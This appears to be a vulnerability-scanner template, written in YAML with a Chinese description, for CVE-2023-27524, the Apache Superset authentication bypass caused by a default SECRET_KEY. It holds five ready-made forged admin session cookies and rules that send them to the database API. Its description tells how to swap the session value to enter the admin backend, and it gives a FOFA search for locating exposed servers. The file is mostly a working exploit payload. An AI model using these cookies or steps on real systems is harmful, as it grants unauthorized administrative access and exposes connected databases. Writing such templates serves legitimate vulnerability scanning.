CVE-2023-27524: Apache Superset身份验证绕过

id: CVE-2023-27524

info:
    name: Apache Superset身份验证绕过
    author: li1u (https://huclilu.github.io/)
    severity: critical
    verified: true
    description: |
       Apache Superset会话验证漏洞，是由于未根据安装说明更改默认配置的SECRET_KEY，允许攻击者验证和访问未经授权的资源。Superset登陆成功页面跳转到/superset/welcome/，抓包更改session值即可成功绕过身份验证进入后台。
       若失败则提示："Missing Authorization Header"，若响应包为："Not found"，不代表失败，直接携带session值访问/superset/welcome/即可成功进入后台；
       FOFA: app="APACHE-Superset" 
    reference:
       - https://www.cve.org/CVERecord?id=CVE-2023-27524
    tags: cve,cve2023,apache,superset,bypass
    created: 2023/05/26
    
set:
   session1: "eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFnng.XPeCvkBiP7rOv1PhgKZ8xkzi2jk"
   session2: "eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFu3g.k_WNoBY1ouhQyOXa5UcYdjVVuq0"
   session3: "eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_fg.KalpJbMq1SZPCBuunG9-ycDX9HM"
   session4: "eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_zQ.FPiBfT39gn2slf--XZHsk0rByEY"
   session5: "eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKHAPQ.zRjwotMHJES3eW8fJH8F_5GlD-U"
         
rules:
  r0:
    request:
      method: GET
      path: /api/v1/database/1
      headers:
        Cookie: session={{session1}}
    expression: response.status == 200 && response.body.bcontains(b'"database_name":') && response.body.bcontains(b'"configuration_method":')
  r1:
    request:
      method: GET
      path: /api/v1/database/1
      headers:
        Cookie: session={{session2}}
    expression: response.status == 200 && response.body.bcontains(b'"database_name":') && response.body.bcontains(b'"configuration_method":')
  r2:
    request:
      method: GET
      path: /api/v1/database/1
      headers:
        Cookie: session={{session3}}
    expression: response.status == 200 && response.body.bcontains(b'"database_name":') && response.body.bcontains(b'"configuration_method":')
  r3:
    request:
      method: GET
      path: /api/v1/database/1
      headers:
        Cookie: session={{session4}}
    expression: response.status == 200 && response.body.bcontains(b'"database_name":') && response.body.bcontains(b'"configuration_method":')
  r4:
    request:
      method: GET
      path: /api/v1/database/1
      headers:
        Cookie: session={{session5}}
    expression: response.status == 200 && response.body.bcontains(b'"database_name":') && response.body.bcontains(b'"configuration_method":')
  
expression: r0() || r1() || r2() || r3() || r4()